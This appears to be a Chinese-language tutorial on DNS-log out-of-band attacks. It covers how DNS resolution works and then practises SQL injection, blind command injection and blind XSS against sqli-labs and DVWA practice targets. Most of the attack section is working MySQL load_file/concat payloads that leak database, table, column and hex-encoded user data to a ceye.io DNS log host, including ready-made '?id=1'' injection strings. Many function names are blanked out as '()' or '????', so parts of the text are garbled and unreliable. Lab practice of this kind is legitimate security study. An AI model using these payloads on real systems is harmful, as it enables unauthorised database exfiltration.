一、預備知識
域名解析是把域名指向網站空間IP,讓人們通過注冊的域名可以方便地訪問到網站的一種服務。IP地址是網絡上標識站點的數字地址,為了方便記憶,采用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉換過程。域名的解析工作由DNS服務器完成。
域名解析也叫域名指向、服務器設置、域名配置以及反向IP登記等等。說得簡單點就是將好記的域名解析成IP,服務由DNS服務器完成,是把域名解析到一個IP地址,然后在此IP地址的主機上將一個子目錄與域名綁定。
互聯網中的地址是數字的IP地址,域名解析的作用主要就是為了便于記憶。(摘自百度百科)
dns服務器的端口是53。
二、原理
我們輸入域名之后 我們的本地域名服務器會把在自身服務器里面查詢是否存在ip地址 如果沒有則發送到根域名服務器 如果根域名服務器里面有對應的記錄則返回 如果沒有則告訴本地域名服務器去向頂級域名服務器查找。
dns在解析的時候會留下記錄。
簡單來說:
當dns服務器是我們自己的時網站指向ip列表是什么,我們就可以通過查看日志來查詢一些信息
三、準備dns服務器(vps搭建)dns指向我們自己搭建的dns服務器的域名
或者也可以使用網上的平臺,比如????
四、用處sql注入(主要)命令注入xss盲打五、實驗:sql注入
dns log在sql注入中的使用主要因為傳統sql注入需要向服務器發送大量數據包,容易被檢測、延時注入花費時間長等原因
在????這個平臺注冊后它會給你一個三級域名,可以先訪問任意四級域名試試
在網站上查詢到了訪問的dns記錄
的共享功能同樣也會訪問dns服務器
關于mysql ()函數:
在MySQL中,()函數讀取一個文件并將其內容作為字符串返回。
()
其中是文件的完整路徑。
這個函數也可以用來發送dns解析請求,這就是關鍵
()使用限制:
1.文件必須位于服務器主機上。
2.你必須具有該FILE權限才能讀取該文件。擁有該FILE權限的用戶可以讀取服務器主機上的任何文件,該文件是world-的或MySQL服務器可讀的。
3.文件必須是所有人都可讀的,并且它的大小小于字節。
你可以這樣檢查:SHOW LIKE '';
如果系統變量被設置為非空目錄名,則要加載的文件必須位于該目錄中。
你可以這樣檢查:SHOW LIKE '';
可以在mysql配置文件my.ini中更改的值,如果沒有這個參數可以手動添加
使用()讀取文件: ("d:\\1.txt");
使用()發送dns請求: ("\\\\ccc.xxxx.ceye.io\\aaa");
'\'在sql語句中要轉義,aaa可以改成任意字母。
使用()發送dns請求查詢數據庫: (("\\\\",( ()),".xxxx.ceye.io\\aaa"));
sql語句在雙引號內不執行,所以要用()函數拼接。
查詢數據表:
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));
查詢字段:
select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));
查詢數據:
select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));
需要注意的是dns服務器無法接收符號,當查詢的數據中存在符號時需要編碼網站指向ip列表是什么,這里用hex()編碼(ord()一次只能編碼一個字符)。
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));
再使用sqli-labs第五關做實驗
:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+
?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+
由于查詢的數據存在@符號,使用了hex()函數
解碼得
六、其他實驗1.命令注入
適用于無回顯的命令注入點
使用dvwa靶場的命令注入模塊實驗
假設該注入點無回顯
查詢到了我們輸入的變量
常用變量:
2.xss盲打
使用的xss盲打模塊
收到請求說明觸發了插入的js代碼
七、使用dns
可以使用--dns-參數實現自動化dns注入